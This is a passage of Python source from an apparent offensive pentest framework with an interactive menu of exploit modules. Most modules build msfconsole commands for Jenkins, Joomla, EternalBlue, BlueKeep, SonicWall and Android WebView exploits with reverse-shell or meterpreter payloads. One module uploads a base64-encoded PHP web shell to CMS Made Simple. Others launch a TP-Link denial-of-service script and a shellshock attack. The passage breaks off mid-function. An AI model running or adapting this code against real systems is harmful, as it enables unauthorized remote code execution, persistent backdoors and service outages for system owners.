             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jenkins_script_console "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jenkins_script_console "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/jenkins_script_console "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/http/jenkins_script_console; set RHOST %s ; set RPORT %s ; set targeturi %s ; set payload generic/shell_reverse_tcp ; set LHOST %s ; set LPORT %s ; run "' % (rhost, rport, uri, lhost, lport))
                print
                jenkins_script_console()
        elif map =='clear':
            clean()
            jenkins_script_console()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            jenkins_script_console()
def joomla_comfields_sqli_rce():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_comfields_sqli_rce"+N+"): ")
        if map == 'show options':
            help.option()
            joomla_comfields_sqli_rce()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_comfields_sqli_rce "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_comfields_sqli_rce "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_comfields_sqli_rce "+G+"(set targeturi/)"+N+"): ")
             print 'targeturi =>',uri
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_comfields_sqli_rce "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_comfields_sqli_rce "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/joomla_comfields_sqli_rce "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/unix/webapp/joomla_comfields_sqli_rce; set RHOST %s ; set RPORT %s ; set targeturi %s ; set payload generic/shell_reverse_tcp ; set LHOST %s ; set LPORT %s ; run "' % (rhost, rport, uri, lhost, lport))
                print
                joomla_comfields_sqli_rce()
        elif map =='clear':
            clean()
            joomla_comfields_sqli_rce()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            joomla_comfields_sqli_rce()
def webview_addjavascriptinterface():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webview_addjavascriptinterface"+N+"): ")
        if map == 'show options':
            help.option()
            webview_addjavascriptinterface()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webview_addjavascriptinterface "+G+"(set SRVHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webview_addjavascriptinterface "+G+"(set SRVPORT)"+N+"): ")
             print "RPORT =>",rport
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webview_addjavascriptinterface "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webview_addjavascriptinterface "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webview_addjavascriptinterface "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/android/browser/webview_addjavascriptinterface ; set SRVHOST %s ; set SRVPORT %s ; set LHOST %s ; set LPORT %s ; run "' % (rhost, rport, lhost, lport))
                print
                webview_addjavascriptinterface()
        elif map =='clear':
            clean()
            webview_addjavascriptinterface()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            webview_addjavascriptinterface()
def tp_link_dos():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/tp_link_dos"+N+"): ")
        if map == 'show options':
            help.option()
            tp_link_dos()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/tp_link_dos "+G+"(set HOST)"+N+"): ")
             print "RHOST =>",host
             port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/tp_link_dos "+G+"(set PORT)"+N+"): ")
             print "RPORT =>",port
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/tp_link_dos "+N+"): ")
             if her =='run':
                os.system('python modules/dos/tp_link.py %s %s' % (host, port))
                print
                tp_link_dos()
        elif map =='clear':
            clean()
            tp_link_dos()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            tp_link_dos()

def config0():
    global up_interface
    up_interface = open('log/log', 'r').read()
    up_interface = up_interface.replace("\n","")
    if up_interface == "0":
        up_interface = os.popen("route | awk '/Iface/{getline; print $8}'").read()
        up_interface = up_interface.replace("\n","")

    global gateway
    gateway = open('log/log', 'r').read()
    gateway = gateway.replace("\n","")
    if gateway == "0":
        gateway = os.popen("ip route show | grep -i 'default via'| awk '{print $3 }'").read()
        gateway = gateway.replace("\n","")

def ip1():
    config0()
    n_name = os.popen('iwgetid -r').read() # Get wireless network name
    n_mac = os.popen("ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}' | cut -f1  -d'/'").read() # Get network mac
    n_ip = os.popen("hostname -I").read() # Local IP address
    n_host = os.popen("hostname").read() # hostname
    table = [["wireless","IP Address","MAC Address","Gateway","Iface","Hostname"],["","","","",""],[n_name,n_ip,n_mac.upper(),gateway,up_interface,n_host]]
    print (tabulate(table, stralign="center",tablefmt="fancy_grid",headers="firstrow"))
def cms():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cms_rce"+N+"): ")
        if map == 'show options':
            print ""+G+" '\n\tCMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution'"""+R+""
            print '\t(CVE-2018-10517)'""+N+""
            help.option()
            cms()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             target_url = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cms_rce "+G+"(set target)"+N+"): ")
             session_cookie = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cms_rce "+G+"(set session cookie name)"+N+"): ")
             session_value =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cms_rce "+G+"(set session cookie value)"+N+"): ")
             burp0_url = target_url + "/admin/moduleinterface.php"
             burp0_cookies = {session_cookie: session_value}
             burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://gk1v1ml3nfrd1bs00o69fmwnh.public2.attackdefenselabs.com/", "Content-Type": "multipart/form-data; boundary=---------------------------207726338310671742711263591267", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
             burp0_data="-----------------------------207726338310671742711263591267\r\nContent-Disposition: form-data; name=\"mact\"\r\n\r\nModuleManager,m1_,local_import,0\r\n-----------------------------207726338310671742711263591267\r\nContent-Disposition: form-data; name=\"__c\"\r\n\r\n9a63802b6c4579cc01c\r\n-----------------------------207726338310671742711263591267\r\nContent-Disposition: form-data; name=\"m1_upload\"; filename=\"test.xml\"\r\nContent-Type: text/xml\r\n\r\n<module>\n    <dtdversion>1.3</dtdversion>\n    <name>Matomo</name>\n    <version>0.0.1</version>\n    <mincmsversion>2.1.5</mincmsversion>\n    <help><![CDATA[LS0gTWlzc2luZyBMYW5ndWFnZXN0cmluZzogaGVscCAtLQ==]]></help>\n    <about><![CDATA[PGJyIC8+QXV0aG9yOiBleWVkZWUtbWVkaWEgJmx0O21vcnRlbkBwb3Vsc2VuLm9yZyZndDs8YnIgLz48YnIgLz5WZXJzaW9uOiAwLjAuMTxiciAvPjxiciAvPkNoYW5nZSBIaXN0b3J5OjxiciAvPi0tIE1pc3NpbmcgTGFuZ3VhZ2VzdHJpbmc6IGNoYW5nZWxvZyAtLTxiciAvPg==]]></about>\n    <description><![CDATA[-- Missing Languagestring: admindescription --]]></description>\n    <file>\n      <filename>/</filename>\n      <isdir>1</isdir>\n    </file>\n    <file>\n      <filename>/action.admin_settings.php</filename>\n      <isdir>0</isdir>\n      <data><![CDATA[PCEtLSBTaW1wbGUgUEhQIEJhY2tkb29yIEJ5IERLIChPbmUtTGluZXIgVmVyc2lvbikgLS0+DQo8IS0tIFVzYWdlOiBodHRwOi8vdGFyZ2V0LmNvbS9zaW1wbGUtYmFja2Rvb3IucGhwP2NtZD1jYXQrL2V0Yy9wYXNzd2QgLS0+DQo8P3BocCBpZihpc3NldCgkX1JFUVVFU1RbJ2NtZCddKSl7IGVjaG8gIjxwcmU+IjsgJGNtZCA9ICgkX1JFUVVFU1RbJ2NtZCddKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pg==]]></data>\n    </file>\n    <file>\n      <filename>/action.admin_statistics.php</filename>\n      <isdir>0</isdir>\n      <data><![CDATA[PD9waHANCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjbXNtcyIpKSByZXR1cm47DQokYXBpdG9rZW4gPSR0aGlzLT5HZXRQcmVmZXJlbmNlKCJhcGl0b2tlbiIpOw0KJHNpdGVpZD0kdGhpcy0+R2V0UHJlZmVyZW5jZSgic2l0ZWlkIik7DQokbGFuZ3VhZ2U9JHRoaXMtPkdldFByZWZlcmVuY2UoImxhbmd1YWdlIiwiZW4iKTsNCg0KJGVtYmVkX2Rhc2hib2FyZCA9ICc8aWZyYW1lIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyIgc3JjPSInIC4gJHRoaXMtPkdldFByZWZlcmVuY2UoImJhc2V1cmwiKQ0KICAuICcvaW5kZXgucGhwP21vZHVsZT1XaWRnZXRpemUmYWN0aW9uP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IpIHsNCiAgcHJpbnQoIkVycm9yLCBtZXNzYWdlID0gIiAuICRjb250ZW50WyJtZXNzYWdlIl0pOw0KICByZXR1cm47DQp9DQoNCnByaW50KCI8aDE+S2V5d29yZHMgZm9yIHRoZSBsYXN0IG1vbnRoPC9oMT5cbiIpOw0KZm9yZWFjaCAoJGNvbnRlbnQgYXMgJHJvdykgew0KICAka2V5d29yZCA9IGh0bWxzcGVjaWFsY2hhcnMoaHRtbF9lbnRpdHlfZGVjb2RlKHVybGRlY29kZSgkcm93WydsYWJlbCddKSwgRU5UX1FVT1RFUywgJ1VURi04JyksIEVOVF9RVU9URVMsICdVVEYtOCcpOw0KICAkaGl0cyA9ICRyb3dbJ25iX3Zpc2l0cyddOw0KDQogIHByaW50KCI8Yj4ka2V5d29yZDwvYj4gKCRoaXRzIGhpdHMpPGJyPlxuIik7DQp9DQoqLw0K]]></data>\n    </file>\n    <file>\n      <filename>/action.default.php</filename>\n      <isdir>0</isdir>\n      <data><![CDATA[PD9waHANCg0KZWNobyAkdGhpcy0+TmVvUHJvY2Vzc1RlbXBsYXRlRnJvbURhdGEoJHRoaXMtPkdldFRyYWNraW5nQ29kZSgpKTs=]]></data>\n    </file>\n    <file>\n      <filename>/action.savesettings.php</filename>\n      <isdir>0</isdir>\n      <data><![CDATA[PD9waHANCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjbXNtcyIpKSByZXR1cm47DQppZiggISR0aGlzLT5DaGVja1Blcm1pc3Npb24oJ01vZGlmeSBTaXRlIFByZWZlcmVuY2VzJykgKSByZXR1cm47DQoNCg0KJHRoaXMtPk5lb1NhdmVWYWx1ZXMoJHBhcmFtcyxhcnJheSgNCiAgImJhc2V1cmwiLA0KICAidHJhY2tpbmdjb2RlIiwNCiAgImFwaXRva2VuIiwNCiAgInNpdGVpZCINCikpOw0KDQokdGhpcy0+UmVkaXJlY3QoJGlkLCAnYWRtaW5fc2V0dGluZ3MnLCAkcmV0dXJuaWQsYXJyYXkoInRhYiI9PiJzZXR0aW5ncyIsIm1vZHVsZV9tZXNzYWdlIj0+JHRoaXMtPkxhbmcoInNldHRpbmdzc2F2ZWQiKSkpOw0K]]></data>\n    </file>\n    <file>\n      <filename>/lang/</filename>\n      <isdir>1</isdir>\n    </file>\n    <file>\n      <filename>/lang/en_US.php</filename>\n      <isdir>0</isdir>\n      <data><![CDATA[PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIFVzZXI6IG1vcnRlbg0KICogRGF0ZTogMjctMDktMjAxOA0KICogVGltZTogMDg6NTMNCiAqLw0KDQoNCiRsYW5nWyJ0aXRsZV9zdGF0aXN0aWNzIl09Ik1hdG9tbyBTdGF0aXN0aWNzIjsNCiRsYW5nWyJ0aXRsZV9zZXR0aW5ncyJdPSJNYXRvbW8gU2V0dGluZ3MiOw0KDQokbGFuZ1siYmFzZXVybCJdPSJCYXNlIFVSTCI7DQokbGFuZ1siYmFzZXVybGhlbHAiXT0iVGhlIGJhc2UgdXJsIG9mIHRoZSBNYXRvbW8taW5zdGFsbGF0aW9uLiBQbGVhc2UgaW5jbHVkZSBodHRwOi8vIG9yIGh0dHBzOi8vIjsNCiRsYW5nWyJhcGl0b2tlbiJdPSJBUEkgdG9rZW4iOw0KJGxhbmdbImFwaXRva2VuaGVscCJdPSJUaGUgQVBJIHRva2VuIGZvciBhY2Nlc3NpbmcgTWF0b21vLiBDYW4gYmUgb2J0YWluZWQgYWZ0ZXIgbG9nZ2luZyBpbnRvIHRoZSBNYXRvbW8gaW5zdGFsbGF0aW9uIjsNCiRsYW5nWyJzaXRlaWQiXT0iU2l0ZSBJRCI7DQokbGFuZ1sic2l0ZWlkaGVscCJdPSJUaGUgSUQgb2YgdGhlIHNpdGUgYXMgc2VlbiBieSB0aGUgTWF0b21vIGluc3RhbGxhdGlvbiI7DQokbGFuZ1sidHJhY2tpbmdjb2RlIl09IlRyYWNraW5nIGNvZGUiOw0KJGxhbmdbInRyYWNraW5nY29kZWhlbHAiXT0iVGhlIHRyYWNraW5nIGNvZGUgZnJvbSBNYXRvbW8gKHRoaXMgd2lsbCBwcm9iYWJseSBiZSBhdXRvZ2VuZXJhdGVkIGF0IGEgbGF0ZXIgdmVyc2lvbikiOw0KJGxhbmdbInNhdmVzZXR0aW5ncyJdPSJTYXZlIHNldHRpbmdzIjsNCiRsYW5nWyJzZXR0aW5nc3NhdmVkIl09IlNldHRpbmdzIHNhdmVkIjs=]]></data>\n    </file>\n    <file>\n      <filename>/Matomo.module.php</filename>\n      <isdir>0</isdir>\n      <data><![CDATA[PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIFVzZXI6IG1vcnRlbg0KICogRGF0ZTogMjctMDktMjAxOA0KICogVGltZTogMDg6NTANCiAqLw0KDQoNCmNsYXNzIE1hdG9tbyBleHRlbmRzIENNU01vZHVsZQ0Kew0KDQogIC8qKg0KICAgKg0KICAgKiBAdmFyIHN0cmluZw0KICAgKi8NCiAgcHJvdGVjdGVkICRtZXRhZGF0YSA9IG51bGw7DQogIHByb3RlY3RlZCAkX19lcnJvcnMgPSBudWxsOw0KICBwcm90ZWN0ZWQgJF9fbWVzc2FnZXMgPSBudWxsOw0KDQogIC8qICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiogQ09OU1RSVUNUT1IgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiAqLw0KICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQ0KICB7DQogICAgcGFyZW50OjpfX2NvbnN0cnVjdCgpOw0KDQogICAgLypzcGxfYXV0b2xvYWRfcmVnaXN0ZXIoYXJyYXkoDQogICAgICAmJHRoaXMsDQogICAgICAnX2F1dG9sb2FkZXInDQogICAgKSk7DQoNCiAgICAkc21hcnR5ID0gU21hcnR5X0NNUzo6Z2V0X2luc3RhbmNlKCk7DQogICAgaWYgKCRzbWFydHkpIHsNCiAgICAgICRzbWFydHktPnJlZ2lzdGVyQ2xhc3Mo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pOyBicmVhazsNCiAgICAgICAgICBjYXNlICJyZW1vdmUiIDogJHRoaXMtPlJlbW92ZVByZWZlcmVuY2UoJHZhbHVlcyk7IGJyZWFrOw0KICAgICAgICAgIGRlZmF1bHQgOg0KICAgICAgICB9DQoNCiAgICAgIH0NCiAgICAgIHJldHVybjsNCiAgICB9DQogICAgZm9yZWFjaCgkdmFsdWVzIGFzICR2YWx1ZSkgew0KICAgICAgLy9lY2hvICJoaSIuJHBhcmFtc1skdmFsdWVdOyBkaWUoKTsNCiAgICAgIGlmIChpc3NldCgkcGFyYW1zWyR2YWx1ZV0pKSB7DQogICAgICAgICR0aGlzLT5TZXRQcmVmZXJlbmNlKCR2YWx1ZSwkcGFyYW1zWyR2YWx1ZV0pOw0KICAgICAgfSBlbHNlIHsNCg0KICAgICAgICBzd2l0Y2ggKCRoYW5kbGV1bnNldCkgew0KICAgICAgICAgIGNhc2UgImNsZWFyIiA6ICR0aGlzLT5TZXRQcmVmZXJlbmNlKCR2YWx1ZSwiIik7IGJyZWFrOw0KICAgICAgICAgIGNhc2UgInJlbW92ZSIgOiAkdGhpcy0+UmVtb3ZlUHJlZmVyZW5jZSgkdmFsdWUpOyBicmVhazsNCiAgICAgICAgICBkZWZhdWx0IDoNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHByZigkcHJlZmVyZW5jZW5hbWUsICRkZWZhdWx0dmFsdWU9IiIpIHsNCiAgICByZXR1cm4gJHRoaXMtPkdldFByZWZlcmVuY2UoJHByZWZlcmVuY2VuYW1lLCRkZWZhdWx0dmFsdWUpOw0KICB9DQp9]]></data>\n    </file>\n    <file>\n      <filename>/moduleinfo.ini</filename>\n      <isdir>0</isdir>\n      <data><![CDATA[W21vZHVsZV0KbmFtZSA9ICJNYXRvbW8iCnZlcnNpb24gPSAiMC4wLjEiCmF1dGhvciA9ICJleWVkZWUtbWVkaWEiCmF1dGhvcmVtYWlsID0gIm1vcnRlbkBwb3Vsc2VuLm9yZyIKbWluY21zdmVyc2lvbiA9ICIyLjEuNSIKbGF6eWxvYWRhZG1pbiA9IDAKbGF6eWxvYWRmcm9udGVuZCA9IDAK]]></data>\n    </file>\n    <file>\n      <filename>/templates/</filename>\n      <isdir>1</isdir>\n    </file>\n    <file>\n      <filename>/templates/adminsettings.tpl</filename>\n      <isdir>0</isdir>\n      <data><![CDATA[e2Zvcm1fc3RhcnQgYWN0aW9uPSJzYXZlc2V0dGluZ3MifQ0KPGRpdiBjbGFzcz0icGFnZW92ZXJmbG93Ij4NCiAgICA8cCBjbGFzcz0icGFnZXRleHQiPg0KICAgICAgICA8bGFiZWwgZm9yPSJ7JGFpZH1mbGQxIj57JG1vZC0+bGFuZygiYmFzZXVybCIpfTo8L2xhYmVsPiB7KmNtc19oZWxwIGtleT0naGVscF9hcnRpY2xlX3VzZWV4cGlyeScgdGl0bGU9JHVzZWV4cGlyYXRpb250ZXh0Kn0NCiAgICA8L3A+DQogICAgPHAgY2xhc3M9InBhZ2VpbnB1dCI+DQogICAgICAgIDxpbnB1dCBpZD0ieyRhaWR9ZmxkMSIgdHlwZT0idGV4dCIgc2l6ZT0iNjQiIGxlbmd0aD0iNjQiIHZhbHVlPSJ7JG1vZC0+cHJmKCJiYXNldXJsIil9IiBuYW1lPSJ7JGFpZH1iYXNldXJsIj57JG1vZC0+bGFuZygiYmFzZXVybGhlbHAiKX0NCiAgICA8L3A+DQo8L2Rpdj4NCg0KPGRpdiBjbGFzcz0icGFnZW92ZXJmbG93Ij4NCiAgICA8cCBjbGFzcz0icGFnZXRleHQiPg0KICAgICAgICA8bGFiZWwgZm9yPSJ7JGFpZH1mbGQzIj57JG1vZC0+bGFuZygiYXBpdG9rZW4iKX06PC9sYWJlbD4geypjbXNfaGVscCBrZXk9J2hlbHBfYXJ0aWNsZV91c2VleHBpcnknIHRpdGxlPSR1c2VleHBpcmF0aW9udGV4dCp9DQogICAgPC9wPg0KICAgIDxwIGNsYXNzPSJwYWdlaW5wdX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YSBpZD0ieyRhaWR9ZmxkMiIgcm93cz0iMTIiIGNvbHM9IjQwIiBuYW1lPSJ7JGFpZH10cmFja2luZ2NvZGUiPnskbW9kLT5wcmYoInRyYWNraW5nY29kZSIpfTwvdGV4dGFyZWE+DQogICAgICAgIDxici8+DQogICAgICAgIHskbW9kLT5sYW5nKCJ0cmFja2luZ2NvZGVoZWxwIil9DQogICAgPC9wPg0KPC9kaXY+DQoNCjxkaXYgY2xhc3M9InBhZ2VvdmVyZmxvdyI+DQogICAgPHAgY2xhc3M9InBhZ2V0ZXh0Ij4NCg0KICAgIDwvcD4NCiAgICA8cCBjbGFzcz0icGFnZWlucHV0Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ieyRhaWR9c3VibWl0IiB2YWx1ZT0ieyRtb2QtPmxhbmcoInNhdmVzZXR0aW5ncyIpfSIvPg0KICAgIDwvcD4NCjwvZGl2Pg0KDQoNCntmb3JtX2VuZH0NCg==]]></data>\n    </file>\n</module>\r\n-----------------------------207726338310671742711263591267--\r\n"
             requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
             print "Try to access your web shell at: " + target_url + "/modules/Matomo/action.admin_settings.php?cmd=ls%20-al"
             cms()
        elif map =='clear':
            clean()
            cms()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            cms()

def eternalblue():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/eternalblue"+N+"): ")
        if map == 'show options':
            help.option()
            eternalblue()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/eternalblue "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/eternalblue "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/eternalblue "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/eternalblue "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS %s ; set RPORT 445 ; set payload windows/x64/meterpreter/reverse_tcp ; set LHOST %s ; set LPORT %s ; run "' % (rhost, lhost, lport))
                print
                eternalblue()
        elif map =='clear':
            clean()
            eternalblue()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            eternalblue()

def bluekeep():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/bluekeep"+N+"): ")
        if map == 'show options':
            help.option()
            bluekeep()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/bluekeep "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/bluekeep "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/bluekeep "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/bluekeep "+N+"): ")
             if her =='run':
                os.system('cd modules/bluekeep && cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/')
                os.system('cd modules/bluekeep && cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/')
                os.system('mkdir /usr/share/metasploit-framework/modules/exploits/windows/rdp')
                os.system('cd modules/bluekeep && cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/')
                os.system('msfconsole -q -x "use exploit/windows/rdp/cve_2019_0708_bluekeep_rce; set RHOSTS %s ; set payload windows/x64/meterpreter/reverse_tcp ; set LHOST %s ; set LPORT %s ; set groomsize 50; set target 1; show options; run ; exit "' % (rhost,lhost,lport))
                print
                bluekeep()
        elif map =='clear':
            clean()
            bluekeep()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            bluekeep()
def shellshock():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/shellshock"+N+"): ")
        if map == 'show options':
            help.option()
            shellshock()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             target =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/shellshock "+G+"(set target)"+N+"): ")
             print 'LPORT =>',target
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/shellshock "+N+"): ")
             if her =='run':
                os.system('commix -url="%s" --shellshock'%(target))
                print
                shellshock()
        elif map =='clear':
            clean()
            shellshock()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            shellshock()
def sonicwall():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/bluekeep"+N+"): ")
        if map == 'show options':
            help.option()
            sonicwall()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/sonicwall "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/sonicwall "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/sonicwall "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/sonicwall "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/sonicwall "+N+"): ")
             if her =='run':
                os.system('mkdir /root/.msf4/modules/exploits/cgi && mkdir /root/.msf4/modules/exploits/cgi/webapps')
                os.system('cd modules/.msf4 && cp 42344.rb /root/.msf4/modules/exploits/cgi/webapps/')
                os.system('msfconsole -q -x "updatedb; use exploit/cgi/webapps/42344; set RHOSTS %s ; set RPORT %s ; set payload linux/x86/meterpreter_reverse_tcp; set LHOST %s ; set LPORT %s ;run"' % (rhost,rport,lhost,lport))
                print
                sonicwall()
        elif map =='clear':
            clean()
            sonicwall()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            sonicwall()
def commands():
    while True:
        try:
            host = os.popen('hostname').read()
            shel = raw_input("\n[Pentest@\033[31m%s]~# \033[32m"%(host))
            if shel:
               os.system(shel)
               print'\033[1;37m'
               commands()
            else:
               print'error input coommands'
               commands()
        except(KeyboardInterrupt):
            print'\n'
            print'\033[1;37m'
            core.excute.main()
def cisco():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_dcnm_upload_2019"+N+"): ")
        if map == 'show options':
            help.option()
            cisco()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_dcnm_upload_2019 "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_dcnm_upload_2019 "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_dcnm_upload_2019 "+G+"(set targeturi/)"+N+"): ")
             print 'targeturi =>',uri
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_dcnm_upload_2019 "+G+"(set LHOST)"+N+"): ")
